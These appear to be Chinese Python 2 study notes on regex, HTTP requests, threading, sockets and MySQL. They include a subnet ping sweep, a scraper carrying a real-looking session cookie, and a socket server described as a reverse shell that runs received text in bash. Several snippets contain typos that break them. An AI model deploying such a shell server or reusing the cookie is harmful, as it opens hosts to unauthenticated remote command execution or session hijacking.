Python 编程
- 查看源代码
print help(base64)
orprint base64.__file__
Python正则表达式
1
2
3 import re
pattern = re.compile('hello')
match = pattern.match('hello world!')
或者1
word = re.findall('hello'.'hello word')
|一般字符|功能|正则表达式|匹配结果|
|-------|----|----|-----|
| **.** | 匹配任意换行符以外的字符 | h. | ht or hb ... |
| **\\** | 转义字符 | \\\\ | \ |
| **[...]** | 字符集,对应位置可以是字符,也可以是范围,第一个字符如果是‘^’则表示取反,所有特殊字符在字符集中均失去原有含义,使用是可以加反斜杠 | [0-9] |616 or ...|
| **\d** | 匹配数字 | a\dc | a1c |
| **\D** | 匹配非数字 | |
| **\s** | 空白字符 [<空格>\t\r\f\v] | a\sb | a b |
| **\S** | 非空白字符 [^\s] | |
| **\w** | 单词字符 [A-Za_z0-9] | a\wc | abc |
| **\W** | 非单词字符 [^\w] | |
| **\*** | 匹配前一个字符0次或无限次 | abc* | ab or abcccccc |
| **+** | 匹配前一个字符1次或无限次 | abc+ | abc or abcccccc |
| **?**| 匹配前一个字符0次或1次 | abc? | ab or abc |
| **{m}** | 匹配前一个字符m次 | ab{3}c | abbbc|
| **{m,n}** | 匹配前一个字符m次至n次 | ab{1,2}c | abc or abbc|
| **\|** | 表示匹配左右两个表达是中的一个,先左后右,左边成功则结束,如果‘\|’没有包含在()中则它的范围是整个正则表达式 | abc\|abf | abc or def|
| **(..)** | 被括起来的表达式作为一个分组,\|的范围仅仅在括号内 | (abc){2}a(123\|456)c |abcabca123c|
Python编译选项指定
|使用方法|功能|
|——-|—-|
| re.I | 忽略大小写 |
| re.L | 使用预定义字符类\w\W\b\B\s\S取决当前区域设定 |
| re.M | 多行模式改变‘^’和‘$’的行为 | |
| re.S | .任意匹配模式 |
| re.U | 使用预定义字符类\w\W\b\B\s\S\d\D取决于Unicode定义的字符属性 |
| re.X | 详细模式,可以多行,忽略空白字符,并且可以加入注释 |贪婪模式与非贪婪模式
Python Web编程
urllib
- urllib.urlopen()
- urllib.urlretrieve()
下载文件
1
2
3
4urlretrieve(url , filename=None , reporthook=None , data=None)
For example:
urlretrieve("https://www.baidu.com/img/bd_logo1.png" , filename=Document/temp/baidu.png)
filename是文件下载后保存的地址
urllib2
- urllib2.urlopen()
- urllib2.Requests()
定制请求头等
requests
第三方库文件,需要安装
pip install requests
发送请求
1
2
3
4
5
6r = requests.get("https://www.baidu.com/")
r = requests.post("https://www.baidu.com/")
r = requests.put("https://www.baidu.com/")
r = requests.delete("https://www.baidu.com/")
r = requests.head("https://www.baidu.com/")
r = requests.options("https://www.baidu.com/")为URL传递参数
1
2
3
4payload = {'key1':'value1','key2':'value2'}
r = requests.get("https://www.baidu.com",params = payload )
print (url)
https://www.baidu.com?key2=value2&key1=value1响应内容
1
2
3
4r = requests.get("https://www.baidu.com/")
r.text
r.encode'utf-8'
r.encode = 'ISO-8859-1'二进制响应内容
1
2r = requests.get("https://www.baidu.com/")
r.content定制请求头
1
2
3
4url = "https://www.baidu.com/"
headers = {'content-type':'application/json'}
r = repuests.get(url,headers=headers)
header中可以加入cookie复杂的post请求
1
2payload = {'key1':'value1','key2':'value2'}
r = requests.post("https://www.baidu.com/post",data = payload)响应状态码
1
2r = requests.get("https://www.baidu.com/")
r.status_code响应头
1
r.headers
Cookie
1
2r.cookies
r.cookies['example cookie name']超时
1
requests.get("https://www.baidu.com/post",timeout = 0.001)
错误和异常
1
遇到网络问题时(如:DNS查询失败,拒绝链接等),Requests会抛出一个ConnectionError异常。遇到罕见的无效HTTP响应时,Requests则会抛出一个HTTPError异常,若请求超时,则会抛出Timeout异常
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36#coding=utf-8
import requests
import json
def spider(url, data):
headers = {
'Host': 'www.ichunqiu.com',
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:58.0) Gecko/20100101 Firefox/58.0',
'Accept': 'application/json, text/javascript, */*; q=0.01',
'Accept-Language': 'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2',
'Accept-Encoding': 'gzip, deflate',
'Referer': 'https://www.ichunqiu.com/courses',
'Content-Type': 'application/x-www-form-urlencoded; charset=UTF-8',
'X-Requested-With': 'XMLHttpRequest',
'Content-Length': '94',
'Cookie': 'ci_session=da3cb5472ee493e4cab3f607c2eb1376d8d8f1ec; chkphone=acWxNpxhQpDiAchhNuSnEqyiQuDIO0O0O; __jsluid=227eea42ddcdc5dfd20ce94113679b2a; UM_distinctid=161d204f2129-01b579968a5537-4c322172-1fa400-161d204f214d5; CNZZDATA1262179648=831575282-1519646472-%7C1519651893; pgv_pvi=9857672192; Hm_lvt_2d0601bd28de7d49818249cf35d95943=1519646998,1519647981,1519654917,1519655470; pgv_si=s9058514944; Hm_lpvt_2d0601bd28de7d49818249cf35d95943=1519655470',
'Connection': 'close',
}
r = requests.post(url=url,headers=headers, data=data)
#print (r.text)
data = json.loads(r.text)
for i in range(len(data['course']['result'])):
print data['course']['result'][i]['courseName']
for i in range(1,18 ):
url = 'https://www.ichunqiu.com/courses/ajaxCourses'
data = {'pageIndex':'0'}
page = str(i)
data['pageIndex'] = page
spider(url, data)
#print courses_dict[0].encode('utf-8')
Python多线程编程
thread 模块使用这种方法一定要加上
time.sleep()
1
start_new_thread(function,args kwargs=None)
1
2
3
4
5
6
7
8
9
10
11
12
13import thread
import time
def fun1():
print ("hello world! %s"%time.ctime())
def main():
thread.start_new_thread(fun1, ())
thread.start_new_thread(fun1, ())
time.sleep(2)
if __name__ =='__main__':
main()1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21#对该网段内存活的主机进行探测
import thread
import time
from subpocess import Popen, PIPE
def main():
for i in range(1, 255):
ip = '192.168.43.'+str(i)
thread.start_new_thread(ping_check, (ip, ))
time.sleelp(0.01)
ping_check()
def ping_check(ip):
check = Popen(['bin/bash', '-c', 'ping -c 2'+ip], stdin=PIPE, stout=PIPE)
data = check.stout.read()
if 'ttl' in data:
print '%s is UP'%ip
if __name__ == "__main__":
main()1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22import threading
import time
def fun1(keys):
print ('Hello %s:%s'%(keys, time.time()))
def main():
threads = []
keys = ['lixu', 'hancong', 'tianhao']
threads_count = len(keys)
for i in range(threads_count):
t = threading.Thread(target=fun1, args=(keys[i], ))
threads.append(t)
for i in range(threads_count):
threads[i].start()
for i in range(threads_count):
threads[i].join()
if __name__ == '__main__':
main()1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32#coding=utf-8
#同时开十个进程访问百度
import threading
import time
import requests
import sys
def fun1():
time_start = time.time()
r = requests.get(url='https://www.baidu.com')
times = time.time() - time_start
sys.stdout.write("Status: %s---%s---%s\n"%(r.status_codes, times, time.strftime('%H:%M:%S')))
def main():
threads = []
threads_count = 10
for i in range(threads_count):
t = threading.Thread(target=fun1, args=())
threads.append(t)
for i in range(threads_count):
threads[i].start()
for i in range(threads_count):
threads[i].join()
if __name__ == '__main__':
main()1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40#coding=utf-8
import threading
import Queue
from subprocess import Popen, PIPE
import sys
class DoRun(threading.Thread):
def __init__(self, queue):
threading.Thread.__init__(self)
self._queue = queue
def run(self):
while not self.empty():
ip = self._queue.get()
#print ip
check_ping = Popen(['/bin/bash', '-c', 'ping -c 2'+ip], stdin=PIPE, stdout=None)
data = check_ping.stdout.read()
if 'ttl' in data:
sys.stdout.write(ip+' is UP\n')
def main():
threads=[]
threads_count = 10
queue = Queue.Queue()
for i in range(1, 255):
queue.put("192.168.43."+str(i))
for i in range (threads_count):
threads.append(DoRun(queue))
for i in threads:
i.start()
for i in threads:
i.join()
if __name__ == "__main__":
main()
Python网络编程
C/S架构
- 客户机和服务器架构,Server的唯一目的是等待Client的请求,Client链接上Server后,发送数据并由Server处理,然后Server将处理后的数据交给Client
C/S网络编程
套接字
- 类似于通信端点的概念的网络数据结构
Socket模块
该模块的socket()方法用来创建套接字
socket(socket_family,socket_type,protocol=0)
1
2For example:(create a tcp socket)
tcpsock = socket(socket.AF_INET,socket.SOCK_STREAM)|服务端套接字函数|功能|
|———|——–|
| s.bind() | 绑定地址到套接字 |
|s.listen() | 开始监听TCP端口 |
| s.accept() | 被动接受TCP客户端连接,(阻塞式)等待连接的到来 ||客户端套接字函数|功能|
|————|—————|
| s.connect() | 主动初始化TCP服务连接 |
| s.connect_ex() | connect()函数的扩展版本,出错时返回错误代码,而不是返回异常 ||公共用途套接字函数|功能|
|——————-|————-|
| s.recv() | 接受TCP数据 |
| s.send() | 发送TCP数据 |
| s.sendall() | 完整发送TCP数据 |
| s.recvfrom() | 接受UDP数据 |
| s.sendto() | 发送TCP数据 |
| s.getpeemame() | 接收到当前套接字的远端地址 |
| s.getsockname() | 当前套接字的地址 |
| s.getsockopt() | 返回指定套接字的参数 |
| s.setsockopt() | 这只指定套接字的参数 |
| s.close() | 关闭当前套接字 |简单的python服务器与客户端脚本,反弹shell
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31#Server服务端
#coding=utf-8
#!/usr/bin/env python
from socket import *
from time import *
from subprocess import *
HOST = ''
PORT = 5567
BUFFER = 1024
ADDR = (HOST, PORT)
tcpServer = socket(AF_INET, SOCK_STREAM)
tcpServer.bind(ADDR)
tcpServer.listen(5)
while True:
print "waiting for connection..."
tcpClient,addr = tcpServer.accept()
print "..Connected from : ",addr
while True:
data = tcpClient.recv(BUFFER)
if not data:
break
cmd = Popen(['/bin/bash','-c',data],stdin=PIPE,stdout=PIPE)
data = cmd.stdout.read()
tcpClient.send('[%s] : %s'%(ctime(), data))
tcpClient.close()
tcpServer.colse()1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26#Client客户端
#coding=utf-8
#!/usr/bin/env python
from socket import *
HOST = '192.168.43.23' #根据要访问的服务器IP而定
PORT = 5567
BUFFER = 1024
ADDR = (HOST, PORT)
tcpClient = socket(AF_INET, SOCK_STREAM)
tcpClient.connect(ADDR)
while True:
data = raw_input('~: ')
if not data:
break
tcpClient.send(data)
data = tcpClient.recv(BUFFER)
if not data:
break
print data
tcpClient.close()
Python数据库编程
- Python DB API
- 数据通道(数据库连接对象connection)
- 数据(数据库交互对象cursor)
- 异常(数据库异常类exceptions)
- 访问流程:
- 创建connection连接,获取cursor,执行操作,关闭cursor,关闭connection
- Python MySQL开发环境
- python代码 ——-> MySQL for Python ——-> 数据库服务器
Python数据库编程实例
- 数据库连接对象connection
- 链接对象:建立Python客户端与数据库的网络连接
创建方法:MySQLdb.Connect(参数)
| 参数名 | 类型 | 说明 | |---------|------|------| | host | 字符串 | MySQL服务器地址 | | port | 数字 | MySQL服务器端口号 | | user | 字符串 | 用户名 | | passwd | 字符串 | 密码 | | db | 字符串 | 数据库名 | | charset | 字符串 | 连接编码 |
connection对象支持方法
| 方法名 | 说明 | |--------|-----| | cursor() | 使用该连接创建并返回游标 | | commit() |提交当前事务 | | rollback() | 回滚当前事务 | | close() | 关闭当前事务 |
cursor对象支持的方法
| 参数名 | 说明 | |---------|----------| | execute(op[,args]) | 执行一个数据库查询命令 | | fetchone() | 取得结果集里的下一行 | | fetchmanv(size) | 取得结果集里的下几行 | | fetchall() | 取得结果集里的下几行 | | rowcount() | 最近一次execute返回的数据的函数或影响行数 | | close() | 关闭 |
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15#简单的数据库编程实例
#!/usr/bin/env python
import MySQLdb
conn = MySQLdb.connect(host = '192.168.43.100', port = 3360, user = 'root', passwd = '123#@!')
cus = conn.cursor()
sql = 'select version()'
cus.execute(sql)
print cus.fetchone()
cus.close()
conn.close()另一个实例结合的是web编程的爬虫所展开